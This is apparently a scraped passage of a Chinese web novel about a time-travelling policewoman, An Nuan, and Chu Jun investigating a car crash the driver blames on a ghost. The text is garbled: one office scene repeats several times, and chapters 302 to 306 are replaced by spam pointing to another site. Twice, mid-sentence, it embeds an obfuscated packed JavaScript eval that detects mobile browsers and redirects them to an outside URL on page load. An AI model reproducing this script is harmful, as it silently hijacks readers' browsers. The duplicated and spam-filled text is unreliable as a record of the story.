“因为你习惯。”楚隽说:“开车出门,开车上下班,我觉得这是你习惯的日常生活的一部分,而不是刻意去炫耀,去享受。如果我连日常习惯的生活都不能让你过上,我会觉得亏欠。” 诡异的习惯。 安暖也不知该说什么,只能说,爱是常觉的亏欠吧。 其实她也不是习惯开车,以前上班开车有,乘地铁公交都有。只是现在的公共交通,确实还不太方便。 再过些年,楚隽就会知道。其实开车不是优选,太堵。 吃完饭,楚隽还是坚持将安暖送回了局里。 提前一个月上班的好处是,完全没有一点陌生感。坏处是,也一点儿都没有新鲜感。 不但安暖没有新鲜感,大家都没有新鲜感。 我和单位,就像是老夫老妻。 安暖进了刑警队办公室,和大家打招呼。 昨天已经欢迎过了,今天就不用特地欢迎来。 唯一的不同就是,她现在在办公室里,有一张自己的办公桌。 以前都是很自由的。 要么就在图书室,要么就在楚隽的办公室,要么就看哪儿没人坐哪儿,但是没有一个固定的地方。 如今有了。 还有一个可喜可贺的地方。 从下个月开始,她有工资了。 一个月四十块钱。 说起工资,安暖开始还挺兴奋的。 毕竟能有一个正规稳定的工作,能拿固定工资,这是在本地站住脚的一个标志性里程碑。 然后她就知道了,一个月四十块钱。 顿时,就颓废了。 当时楚隽就很奇怪。 “怎么了,你对这个工资不满意吗?嫌少了?” 五十块钱一个月,在京市当然不多,但也不算少了。安暖这毕竟是刚入职,一切都是最低的,后面还会长的。 楚隽这个级别的,一个月有一百二十块钱呢。 现在全国的工资水平都是低的,十几块钱的大有人在,几十块钱就不少。而且刑警是一线干警,辛苦危险,刑警的工资,比同级别的行政干部还要高一些。 “也不是嫌少。”安暖纠结地道:“其实这个工资不少了,就是……哎,你不懂。” 不管是五十块钱,还是一百二十块钱,靠工资过日子,都是要算计着花的。而且,无论怎么算计,也不可能有现在这个生活条件。 就家里两辆车,一辈子不吃不喝都买不起。 安暖带着对五十块钱工资的期盼,下定决心,要赚钱。 最简单粗暴的先来一套。 那天她严肃地跟楚隽说:“借我点钱。” 楚隽没当回事:“不是跟你说了吗,柜子里有钱,要用就拿。什么借不借的,你还打算给我打欠条啊。” 三室套的柜子里,有个保险柜。密码一住进去,楚隽就告诉了安暖。 柜子里有好几万块钱,以备不时之需的。还有个存折,里面也有钱。 这还都是小头,她知道,大头都在老宅里。 保险柜一般不打开,抽屉里有零钱,日常花销都在抽屉里,谁要用钱谁拿,不用说一声。 楚隽会不时地往里面补充,或者发工资找了零钱什么的,都会顺手放进去。 住进去的第一天,楚隽就告诉了安暖。 要用钱就拿,不用告诉他,也不用记账。不用像是普通过日子的人家那样,一包糖一包盐都要记下来,到月尾算算花销。 安暖当时就逗楚隽。 “你就不怕我把你的钱都拿走了啊?” “你不能眼皮那么浅。”楚隽说:“你要是那么喜欢钱,这里才多少?抓住我,那可多多了。” “那你不怕我乱花钱吗?” “不怕,你不是乱花钱的人,你花的钱,都是该花的。”楚隽还怪有自信。 虽然安暖对金钱数额的观念和普通人不同,但真不乱花。 第300章 四合院 安暖没有虚荣心,不会为了面子去买一些没有意义的奢侈品。她买的东西,都是实用的。 但是这些实用的东西,可能价值昂贵。但再昂贵,她都不眨一下眼睛。 “生活必需品,我还不至于负担不起,不用你节省。”楚隽说:“你要是觉得是一笔大额开支,可以跟我说一声。要是拿不定主意,也可以跟我商量,但两个人过日子,又不是单位对账,就不用一分一厘记得那么清楚了,每天那记账的时间省下来,一个月也能多睡几个小时。” 这种生活,完全是因为楚隽不缺钱,但不得不承认,让安暖觉得很舒服。 谁也不想过锱铢必较的生活,但这要看具体条件,不是可以随心所欲的。 那天,安暖认真地点头。 “对,我要给你打借条。” “你要借多少,还要打借条?” 楚隽就好奇了。 安暖竖起一根手指。 楚隽说:“十万。” 安暖佩服:“你挺敢往高里猜的。” “那倒不是。”楚隽说:“主要是你大气,你说十块一百块,一千块的,你也不放在心上。我就往高里猜,你要那么多钱干什么,碰着什么事情了吗?” “不要十万,只要一万。”安暖说。 “要十万也行,但是要干什么?”楚隽很好奇:“有什么事情麻烦,我去给你办。” 一万也好,十万也好,楚隽能花四十万买车,就不把这钱放在眼里。 “买房。”安暖说:“我想买两套四合院。” 创业,是这个年代最好的赚钱方法。 但买房,绝对是最省事儿的赚钱方法。 这个年代的房子和后世相比,那是真正的白菜价。后世动辄千万上亿的四合院,这个年代几千,上万,三环内可挑选。 安暖决定,既然是穿越来的,就不能浪费这一场机缘。 楚隽又不是拿不出这个钱来,对他来说万儿八千轻轻松松。 买两套。 等涨价以后,自己留一套,送楚隽一套。 即便楚家有钱,谁也不会嫌钱多啊。这虽然也算一种借花献佛,但这献的肯定皆大欢喜。 “你要买四合院?”楚隽更奇怪:“怎么想起来的,是觉得这个房子住着小了吗?” 三室套,住两个人不该小啊。 “没有啊,我没嫌这地方小。” 楚隽已经自言自语地接着说了:“不过较真说起来,是有点小。你是住惯了大院子 的,这种套房是不是觉得憋屈。也没有院子,不能种菜也不能养鸡。” “不不不。”当时安暖就拒绝了:“我不要大院子,我也不要养鸡种菜,我不爱弄那些。我想买四合院是因为,这个东西它会涨价。” “涨价?” “对。” “你相信我的投资眼光,假以时日,它会涨得非常非常厉害。这种投资,比做生意赚钱多了。还不用费心打理。现在可以租出去,等价格涨到一定程度,转手那么一卖。” 安暖一拍大腿,妥了。 到时候,就发财了。 安暖说:“不用十万,你借我一万,到时候我还你一百万。” “借一万还一百万?”楚隽笑道:“你不亏本啊?” “一点儿不亏,绝对不亏。” 别说一百万,就是一千万,也划算啊。 一百万一千万,从安暖口中说出来,有那么点意思。要是换个人说,就像是白日做梦。 “既然绝对不亏,我相信你。”楚隽说:“这样,你不用给我打借条,也不用还钱。” “那怎么行?” “这样。”楚隽说:“你不是要一万吗,我给你两万。你买两套,写自己的名字。再给我挑一套或者两套。给你这一万,就当是给你的劳务费了。” 万万没想到,楚隽这么想得开。 “虽然我知道你不缺钱,但这可是两万块钱,就这么投资了?” “投资四合院,这我不好说,我对这个不了解。”楚隽说:“但投资你的眼光,那肯定没问题。从我认识你到现在,你的言行举止,你的一举一动,都能证明你是一个有眼光的人。” 安暖龙颜大悦。 当下就拍着胸口给楚隽保证。 “放心吧,我保证,你今天花的这两万块钱,将是这辈子花的最值得的两万块钱。” 假以时日,他们会繁殖的你叫你害怕。 于是,安暖利落地去看了地方,选了房子。还是楚隽出面交易。 四套四合院,两套写了安暖的名字,两套写了楚隽的名字。 拿到房产证件的时候,安暖真是热泪盈眶啊。 那真是看了又看,看了又看,要不是有楚隽在,恨不得亲了又亲,亲了又亲。 上辈子,做梦也不敢想啊。 这辈子,竟然有了自己的四合院,还是两套。 日后即便是婚姻和工作上出了问题,有这两套四合院做压箱保底的退路,以后的日子也会很好过。 安暖有了保障,心情十分舒畅。 不缺钱,上班,那就是为了爱了。 以后,她就可以安安心心地上班了。 安暖去图书室拿了几本书,坐在自己的办公桌前,打开,看书。 江笑愚不知何时站在身后,也跟着看了半天。 安暖总感觉背后阴森森的,一回头吓一跳。 “江队,你找我有事儿?” “没事儿。” “那你这是?” “看看你在看什么书。”江笑愚说:“之前天天看你看书,怎么现在开始看心理学的书了?” “我想自学一些这方面的知识。”安暖说:“了解犯罪心理,这在很多时候,对案件侦破有很大的用处。” “这个可不好学。”江笑愚说:“我看了一会儿,里面都是专有名词,还有那么多外文,你看得懂?” “嗯,也不是完全懂,但是懂一些,这不还在学吗?”安暖掰着手指给江笑愚规划起了她的职业生涯。 她现在虽然没有文凭,但是年轻有时间啊。 很多过去来不及学的东西,都可以捡起来,并且可以精益求精了。 这相当于新号就有三转技能,干点什么不得事半功倍。 江笑愚听得一愣一愣的。 听完之后觉得,安暖不像是初中生,比他还像是个大学生。 安暖有了保障,心情十分舒畅。 不缺钱,上班,那就是为了爱了。 以后,她就可以安安心心地上班了。 安暖去图书室拿了几本书,坐在自己的办公桌前,打开,看书。 江笑愚不知何时站在身后,也跟着看了半天。 安暖总感觉背后阴森森的,一回头吓一跳。 “江队,你找我有事儿?” “没事儿。” “那你这是?” “看看你在看什么书。”江笑愚说:“之前天天看你看书,怎么现在开始看心理学的书了?” “我想自学一些这方面的知识。”安暖说:“了解犯罪心理,这在很多时候,对案件侦破有很大的用处。” “这个可不好学。”江笑愚说:“我看了一会儿,里面都是专有名词,还有那么多外文,你看得懂?” “嗯,也不是完全懂,但是懂一些,这不还在学吗?”安暖掰着手指给江笑愚规划起了她的职业生涯。 她现在虽然没有文凭,但是年轻有时间啊。 很多过去来不及学的东西,都可以捡起来,并且可以精益求精了。 这相当于新号就有三转技能,干点什么不得事半功倍。 江笑愚听得一愣一愣的。 听完之后觉得,安暖不像是初中生,比他还像是个大学生。 安暖有了保障,心情十分舒畅。 不缺钱,上班,那就是为了爱了。 以后,她就可以安安心心地上班了。 安暖去图书室拿了几本书,坐在自己的办公桌前,打开,看书。 江笑愚不知何时站在身后,也跟着看了半天。 安暖总感觉背后阴森森的,一回头吓一跳。 “江队,你找我有事儿?” “没事儿。” “那你这是?” “看看你在看什么书。”江笑愚说:“之前天天看你看书,怎么现在开始看心理学的书了?” “我想自学一些这方面的知识。”安暖说:“了解犯罪心理,这在很多时候,对案件侦破有很大的用处。” “这个可不好学。”江笑愚说:“我看了一会儿,里面都是专有名词,还有那么多外文,你看得懂?” “嗯,也不是完全懂,但是懂一些,这不还在学吗?”安暖掰着手指给江笑愚规划起了她的职业生涯。 她现在虽然没有文凭,但是年轻有时间啊。 很多过去来不及学的东西,都可以捡起来,并且可以精益求精了。 这相当于新号就有三转技能,干点什么不得事半功倍。 江笑愚听得一愣一愣的。 听完之后觉得,安暖不像是初中生,比他还像是个大学生。 安暖有了保障,心情十分舒畅。 不缺钱,上班,那就是为了爱了。 以后,她就可以安安心心地上班了。 安暖去图书室拿了几本书,坐在自己的办公桌前,打开,看书。 江笑愚不知何时站在身后,也跟着看了半天。 安暖总感觉背后阴森森的,一回头吓一跳。 “江队,你找我有事儿?” “没事儿。” “那你这是?” “看看你在看什么书。”江笑愚说:“之前天天看你看书,怎么现在开始看心理学的书了?” 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“看看你在看什么书。”江笑愚说:“之前天天看你看书,怎么现在开始看心理学的书了?” “我想自学一些这方面的知识。”安暖说:“了解犯罪心理,这在很多时候,对案件侦破有很大的用处。” “这个可不好学。”江笑愚说:“我看了一会儿,里面都是专有名词,还有那么多外文,你看得懂?” “嗯,也不是完全懂,但是懂一些,这不还在学吗?”安暖掰着手指给江笑愚规划起了她的职业生涯。 她现在虽然没有文凭,但是年轻有时间啊。 很多过去来不及学的东西,都可以捡起来,并且可以精益求精了。 这相当于新号就有三转技能,干点什么不得事半功倍。 江笑愚听得一愣一愣的。 听完之后觉得,安暖不像是初中生,比他还像是个大学生。 安暖有了保障,心情十分舒畅。 不缺钱,上班,那就是为了爱了。 以后,她就可以安安心心地上班了。 安暖去图书室拿了几本书,坐在自己的办公桌前,打开,看书。 江笑愚不知何时站在身后,也跟着看了半天。 安暖总感觉背后阴森森的,一回头吓一跳。 “江队,你找我有事儿?” “没事儿。” “那你这是?” “看看你在看什么书。”江笑愚说:“之前天天看你看书,怎么现在开始看心理学的书了?” “我想自学一些这方面的知识。”安暖说:“了解犯罪心理,这在很多时候,对案件侦破有很大的用处。” “这个可不好学。”江笑愚说:“我看了一会儿,里面都是专有名词,还有那么多外文,你看得懂?” “嗯,也不是完全懂,但是懂一些,这不还在学吗?”安暖掰着手指给江笑愚规划起了她的职业生涯。 她现在虽然没有文凭,但是年轻有时间啊。 很多过去来不及学的东西,都可以捡起来,并且可以精益求精了。 这相当于新号就有三转技能,干点什么不得事半功倍。 江笑愚听得一愣一愣的。 听完之后觉得,安暖不像是初中生,比他还像是个大学生。 安暖有了保障,心情十分舒畅。 不缺钱,上班,那就是为了爱了。 以后,她就可以安安心心地上班了。 安暖去图书室拿了几本书,坐在自己的办公桌前,打开,看书。 江笑愚不知何时站在身后,也跟着看了半天。 安暖总感觉背后阴森森的,一回头吓一跳。 “江队,你找我有事儿?” “没事儿。” “那你这是?” “看看你在看什么书。”江笑愚说:“之前天天看你看书,怎么现在开始看心理学的书了?” “我想自学一些这方面的知识。”安暖说:“了解犯罪心理,这在很多时候,对案件侦破有很大的用处。” “这个可不好学。”江笑愚说:“我看了一会儿,里面都是专有名词,还有那么多外文,你看得懂?” “嗯,也不是完全懂,但是懂一些,这不还在学吗?”安暖掰着手指给江笑愚规划起了她的职业生涯。 她现在虽然没有文凭,但是年轻有时间啊。 很多过去来不及学的东西,都可以捡起来,并且可以精益求精了。 这相当于新号就有三转技能,干点什么不得事半功倍。 江笑愚听得一愣一愣的。 听完之后觉得,安暖不像是初中生,比他还像是个大学生。 第301章 灵车事件 江笑愚隐约有种感觉,安暖到了他们刑警队之后,可能会兴起一股比学赶超文化知识的热潮。 毕竟在刑警队里,英勇无畏大家都有,操练训练一天都不落下,没有人偷懒。但是文化学习,对他们来说就有点烦躁了。 上面安排的学习,大家也不偷懒。但是在这之外,就不太乐意了。 刑警队的最低学历要求是高中,大学生有,但不多。高中文化,有些学习还是挺吃力的。 但安暖不一样。 安暖不能打,她虽然目前连初中文凭都没有,却是学术派的。 卢睿泽的办公桌就在安暖隔壁,听她这么一说,就凑了过来。 “小安,你研究什么,心理学?卢睿泽说:“前阵子我还听队长说,上面有心要安排人去进修,引进心理学人才呢。我当时还觉得有这个必要吗,心理学听起来虽然很玄乎,但随便说说话,就能看见人的内心?有这么神奇? “倒也不是说能直接看见人的内心,但心理学在刑侦领域确实是有用的。安暖掰着手指头:“可以分析犯罪行为,评估**的心理状态,分析犯罪动机,分析犯罪现场,提供审讯策略等等…… 听着听着,好像很有用的样子。 办公室里的人都围了过来。 最终,大家得出一个结论。 小安真是个文化人。 作为本办公室文化程度最低的同志,安暖十分惭愧。 楚隽这一天都没有回来,快下班的时候,打了个电话回来。 “我这边有些发现,今晚可能要晚一点回。楚隽说:“你先回去休息,不用等我。 安暖忙道:“有危险吗? “放心吧,没有危险。楚隽说:“如果你有事情,就给老宅打电话,或者老蒋打电话。 “好的,我没事儿,你去忙吧。 老蒋是楚隽的朋友,是家离三室套最近的一个朋友。家里有电话,楚隽之前就嘱咐过,如果有急事可以找他,别的有点没有,主打一个来得快。 按时下班,回了三室套。 安暖一个人也懒得正常吃,随便吃了块面包,喝了瓶果汁,就当一顿饭。 吃饱了,洗了澡。 电视她是不爱看的,一时也睡不着,便将要看的书都拿出来看。 不知道今天晚上楚隽回来不回来,但是不管怎么样,先等一会儿。 安暖现在看的书正是各种案例讲解,有些是以前见过的,有些是没有见过的。 看着看着,她想起曾经看过的一个案例。 出租车,夜惊魂。 说一辆出租车半夜出了车祸,车突然就失控,撞向了一旁的栏杆。 司机坚称自己见了鬼。 可事发地段没有监控,司机车上的行车记录仪又坏了,他也记不得前车的车牌号。 这事情一度就很蹊跷。 不可能承认这世上有鬼,可司机当时没有喝酒,神志清醒,没有精神病,视力也很好。 人可能突然眼花,但是,会突然见鬼吗? 警方最终认为,这绝对不是一个意外,而是人为。 开始的时候,方向是,为什么司机会见到鬼。 调整方向之后,从受害者身上的爱恨情仇追查,最终,查出一个和受害者有过间隙的朋友,这个朋友最大的疑点就是,在受害者发生事故的时间里,他拿不出不在场证据。 而且,很有可能,他开车也经过了这一区域。 接着又查了这个人的车,就在后窗玻璃上,检查出背胶残留的痕迹。 就在几日前,这辆车后玻璃上,贴过什么东西,然后又撕掉了。 案情终于明朗化,在这人的手机购物记录里,查到他买过一款灵异恐怖贴纸,是可以贴在玻璃上的,还带着灯带。 他也终于承认,他掐着时间,出现在受害者的同一条路上,开到他的前面。按下灯的开关。 那一瞬间,就好像是狰狞恶鬼一般。 导致受害者受到了巨大惊吓,才撞到了护栏。 这是他运气好,这个地段的道路两侧,一侧是护栏,另一侧是长江。 他在生死关头,方向盘打向了护栏,如果慌不择路往江水中冲去,那就不止是轻伤了,那就是生死未卜。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919332|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江水滔滔,汽车半夜冲进去,是会出人命的。 安暖合上书,仔仔细细地将印象中的案子回忆了一下。 越想,越觉得和向浩然碰见的事情很像。 真是人的年纪大了,就太阳底下没有新鲜事了。好像现在发生的一切,都是已经出现过的一样。 安暖想给楚隽打个电话,重新去一趟事发地段。 他们之前检查事发地段的时候,也问了几个目击者,都说现场没有看见别的车。 目击者是在听见撞击声之后,还以为外面发生了**呢,立刻就从家里冲出来了。没用多长时间。 而那地方的路,很长一段都是直路。 向浩然如果是被其他汽车上的什么东西给吓着了 ,目击者应该是可以看见还没有走远的汽车的。而不是很肯定地说,空荡荡的路上,什么都没有。 若是真没有,那么蹊跷,就还在那个地段附近。 可是也不知道楚隽现在在什么地方,想要找他,都不知道该怎么联系。 安暖想了想,打了一个电话去向浩然家。 电话简直接得飞快。 楚隽当然不在向浩然家,安暖问了一下向家,医院是否有电话可以联系。 然后又得到了医院的电话号码。 打了个电话过去,很遗憾。 向浩然还没有醒,楚隽也不在。 医院里,向浩然的母亲一直守着,可惜,白天楚隽并没有过去,她也不知道楚隽去了哪里。 安暖摸了摸下巴,沉吟起来。 要不然,自己过去看看。 反正有车,知道地点,跑一趟用不了多长时间 要不然,等楚隽联系自己,商量一下再说。 安暖想了想,还是决定去一趟。 现在是晚上,视线确实不如白天,但是晚上有晚上的优势。 晚上安静,人少,没有干扰。 而且,安暖的经验告诉她,案发现场的痕迹,早一个小时是一个小时,早一天,是一天。 今天晚上和明天早上,当然是越早越好。 第302章 钉子 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 第303章 巨额财产花的不明 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 内容已更新,点击阅读完整版 ①3⑧du点сс 提供无删减版本 第304章 活人墓 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 整站已迁移到新站点 手输请前往 (1)(3)8du点cc 继续欣赏 第305章 提款机没了 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 第306章 醒了 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 内容已转移至新网址 ①38du。Cc 欢迎访问 书友论坛,精彩互动 第307章 突然出现的** 向浩然沉默了许久,长久的安暖都快睡着了。 楚隽也不催他,就这么等着。 这事情要是**,不知道也就算了。 既然知道了,就不能当做不知道,只能秉公处理了。该怎么办,就怎么办。 终于,向浩然的沉默到了头。 “她是我开车撞死的。” 向浩然没什么力气,一开口全身都痛,只能轻声的,慢慢的说。 楚隽让他等一下,楚隽从包里摸出本子和笔。 虽然是在病房,但这已经有录口供的样子了。 “我还记得,那是三年前的五月份。我那天和朋友聚会之后,开车回家。路过杨树湾的时候,是晚上两点。突然一个人冲了出来。当时我喝了点酒,反应有点慢,那人又是从栏杆里转出来的,我一点准备都没有,就……撞上了。” 杨树湾路口,就是向浩然出事儿的那个三岔路口。 楚隽就不明白了:“你又不是个没见识的,怎么撞着人不送警局,不报案呢?又不是故意**,要不了你的命啊。” 交通意外,对方是突然冲出来的,多少也有点责任。只要和家属好好协商,赔偿到位,是可以免除刑事责任的。 “哎。”向浩然叹了口气:“当时,我妈生了重病,你知道的,就是那一次。” 这么一说,楚隽想起来了,确实有这么一次。 三年前,向浩然母亲是得了一次重病,差一点就没救回来,那段时间向浩然整个人都很颓废,心情很低沉。 “我不敢让家里知道,所以想着就私了吧。”向浩然说:“那家人就跟在她身后,跟了过来。后来,他们家提出了两个要求。” “哪两个?” “第一,是钱。第二,是要我和焦雨花结婚。” 楚隽道:“结婚是怎么回事?” “类似于冥婚吧。”向浩然道:“焦家说,焦雨花没有结婚,**以后是不能投胎转世的,所以要找个人跟她结婚。” 这是相当迷信的思想,如果是在其他时候,向浩然一定好好地跟他掰扯一下。但当时那情况,没有必要。 向浩然不信这个,反正对方也就是要一个名字,一个生辰八字,走一个过场。又不是真的要把他和女儿一起埋了。 所以向浩然爽快地就同意了。 那座墓碑上,便写了两个人的名字。 就当时了却了焦雨花父母心中的一点念想。 但这事情绝对不能让向浩然父母知道,要不然 的话,要气得背过气去。 不信是一回事,晦气是另一回事。绝大部分人是接受不了这种事情的。 楚隽点了点头:“钱呢,他们家找你要多少钱?” “三千。” “三千?” “对。”向浩然苦笑:“开始的时候,只要了三千。” 听着三千,安暖有一种诡异的,微妙的,撕裂的感觉。 一条人命肯定是无价的。 三千块钱在这个年代也不少,何况是三年前。 在平均工资只有几十块钱的年代,绝大部分家庭一辈子三代人也攒不出三千块钱来。这是一笔巨款了。 但是无论什么时候,贫富差距都是巨大的,对向浩然和楚隽来说,三千块钱不算什么。三年前不算,现在也不算。 协议很快达成。 向浩然爽快地给了钱。 他原本以为这件事情就这么过去了。 一起交通事故,也不是恶意伤人,私了也是可以的。 但显然这事情并没有完。 第一次,向浩然给了三千。 可有第一次,就有第二次。 过了一段时间,焦家的人又找上门来。 缺钱。 向浩然又给了五千。 楚隽道:“我查了你的账,这三年时间,你一共给了奖金二十万。” “是,第一年少。第二年,焦家的小子,突发奇想要去留学,钱花的就多了一些。” “不是多了一些,是多了很多很多。”楚隽说:“今年一年,就给了将近十万。向浩然,我知道你这几年做生意赚了点钱,但这么下去,你能扛多久?” 一年给三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15934046|171229||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 千,天荒地老向浩然也给得起。 但一年十万,向浩然的钱,也不是大风刮来的。 楚隽不会偏袒任何一方,但焦家的这个行为,已经是敲诈了。既然开始是交通事故,已经达成了和解,就不该一次又一次地要钱。 “后面我不打算给了。”向浩然说:“我已经跟他们说过了,这事情,我能解决,所以也没有跟你说。” 向浩然每次给钱都有记录,当时事故处理两边达成协议私了,也是有协议书的,双方都签了名字盖了手印。向浩然之所以不想闹出来,只是单纯地不想闹出来让人担心罢了。 “行,那就不说这个。”楚隽道:“焦家的几个人我查了,都在国外,他们出国的事情都是你帮着办的,我想,没本事在这件事情上**。” 向浩然一点儿也不 意外楚隽能查到这些。 楚隽只是不查他罢了,要是查,什么都瞒不住。 楚隽道:“所以你现在老老实实的告诉我,那天晚上,你在墙壁上到底看见了什么,吓得撞了车?” 向浩然想要伸手捂住自己的脑袋。 但是更动了动胳膊,这才发现自己胳膊动不了。 人啊,在身体完好的时候感觉不明显,一旦有个头疼脑热,就会发现,健康有多么重要。 向浩然道:“我看见了焦雨花。” “嗯?” “对,我看见了焦雨花。”向浩然说:“她突然出现在墙壁上,那么大一个……吓得我一哆嗦,方向盘就歪了,就撞墙了。” “等一下。”安暖打断道:“还有一个问题,前天那么晚了,你又喝了酒,这么着急出去干什么?而且还开得那么快,十分像是赶着投胎的样子。” “是很奇怪。”向浩然说:“那天晚上,我喝了点酒,喝了醒酒汤之后,就躺在床上休息。脑子里事情多,心烦意乱的。然后,我听见有人在唱歌。” 事情开始向着诡异的方向发展了。 “什么人,唱什么歌?” “我不知道是什么人,但唱的歌,是在焦雨花下葬的那天,她唱的歌。” 第308章 是谁在唱歌 “等一下。”安暖紧急叫停。 楚隽也往后靠了一下。 向浩然知道自己在说什么吗? “焦雨花下葬那天,她自己还唱歌了?她……在棺材里唱的?” “哦,那倒不是。”向浩然说:“你们不了解他们的风俗,因为她已经**,但仪式要活人做。所以冥婚那天,找了个人代替焦雨花。” “怎么代替,谁愿意?” “给钱,自然有人愿意。”向浩然道:“找一个年纪和她相仿的人就行了,当然,如果能同年同月同日生更好,不能,有个差不多也行。穿上焦雨花的衣服,走个过场。” “焦家找的什么人?” “我不知道,我没看见脸。”向浩然说:“盖着红盖头呢,只能看出是个身高相仿的小姑娘。那会儿乱哄哄的,我当时也觉得挺恐怖的,隐隐约约的,听见她在唱歌……也没听出来唱的什么歌,但是前天晚上,我又听见了。我心里有点不安,于是想去她坟上看看。” 结果到了三岔路口,突然墙壁上有光一闪。 向浩然直觉地就看了过去,看见了一张巨大的画像。 酒精放大了恐怖。 向浩然虽然身体不能动,但脑子很清醒,重要的事情几乎都说了。 但说了一会儿话,就有点体力不支了。 楚隽也没有再问,让他好好休养。 “这事情我去查。”楚隽道:“你安心养着,不过既然是有人要害你,见你没死,未必不会再想办法。你得雇几个保镖守着才行。” 医院这地方,二十四个小时人来人往的,医生护士进进出出,如果凶手真的铁了心的要杀楚隽。 又是一个能设计谋算的人,向浩然是十分危险的。 向浩然没力气说话了,点了点头。 楚隽去找了向爸爸。 这事情有点恐怖,在没查清楚之前,倒是也不必跟他说得太清楚。还是等向浩然恢复之后,再自己和家里说吧。 他只是跟向爸爸强调了一点。 “有人要害向浩然,这人暂时还躲在暗处,身份不明。为了安全,最好请几个人,轮流在病房里守着,以防万一。” 向爸爸连连点头。 他家里不缺请几个人的钱,当下就决定请几个保镖,轮流保护,一直到这个事情彻底查清楚之前。 楚隽和安暖从医院出来,才中午。 两人便在周围找了个饭店随便吃了一顿。 一边吃,一边聊。 “ 这事情真是蹊跷。”楚隽道:“下午,我打算再去见见焦家的邻居,配阴婚这种事情,当时肯定有其他人在。那个给焦雨花做替身的姑娘,他们也应该知道是谁。” 除非对向浩然的杀机是在当时就产生了,并且录下了替身姑娘唱歌的声音,要不然的话,向浩然听见的歌声怎么解释? 只有两种可能。 第一,就是那姑娘在向浩然家楼下唱的。 向浩然的房间在二楼,对着巷子。而他父母的房子在一楼,如果有人在巷子里低声唱歌,只有他能听见,他父母是听不见的。 第二,有人找到了那姑娘,让她唱歌,把唱歌的声音录了下来,然后拿到向浩然窗子边放。 只可惜,当时向浩然喝多了有点迷糊,也没想着在下面找一找。 安暖道:“嗯,这个人,一定和焦家很熟,要不然也不会放替身新娘唱的那首歌。而且,他不是一个人。” 在向浩然楼下放歌,需要有人在原地操作。 向浩然说,他听着声音就下楼了,下楼就直接开车走了,这中间不超过三分钟。 向浩然的车速可是很快的。 就算对方也有车,要在看见向浩然下楼的时候立刻就开车往事发地点开,然后冲到围墙边做好准备,等他靠近,这很紧张。 万一中间出了点故障呢,就来不及。 现场的钉子可以提前打好,但画不能提前挂。 那不是个荒郊野外,是有人来往的,万一有人路过,看见了呢? 就算是画可以提前一些挂上,向浩然也是在看见了灯光之后,才转头的。 打光最便捷的就是用手电筒了,这个一定要有人操作。 随便估计一下,这件事情里,至少有两个人,甚至有可能有三个人。 两人吃完饭,去焦家。 这事情到了如今这一步,也未必就一定和焦家有关系,但是他们现在知道的和这件事情有关的人,也只有焦家。 抽丝剥茧,顺藤摸瓜,如今也只能寄希望于焦家了。 焦家的邻居家,昨天楚隽已经去过一趟了,如今一回生,二回熟,见面打招呼,已经像是熟人一样了。 但是当楚隽提起冥婚的事情时,对方的脸色就有点不太好了。 “同志。”楚隽说:“还是焦家的事情,我还有些问题,想要问一下。” “你说。” 邻居昨天收了些楚隽的礼,十分客气。 “我知道当时焦雨花下葬之前,举办了一场冥婚。我想知道,代替焦雨花举行冥婚的姑娘,是什么人?” 邻居张了张嘴,露出为难的表情来。 “有什么隐情吗?”楚隽道:“你放心说,这件事情,我不会说出去的。” 楚隽身上有种不怒自威的正义,让人看着就觉得安心。 “我,我也不清楚。”邻居说:“这个风俗吧,真是封建迷信,咱们都是不信的。你说,谁家愿意让在的女儿做这个啊,多可怕,多不吉利,就算是假的,也叫人怪害怕的。” “是的,可以理解,但确实有这么个姑娘。”楚隽道:“你们是邻居,难道不认识?” “真不认识。”邻居说:“就能看出是个年纪相仿的姑娘,盖着红盖头,所以我也没看见她的脸。不过听声音听不出来,我确定是我不认识的姑娘,肯定不是这一片的,要是这一片的小姑娘,不可能听不出来。” 竟然不是这一片的人。 这个姑娘的身份,估计只有焦家的几个人知道了,可惜他们现在不在国内,也不知道什么时候才会回来。 楚隽往门外看了看,说:“看来,要让向浩然去报案了。” 报了案,很多事情,就好查了。比如,进焦家去查看一下人际关系。 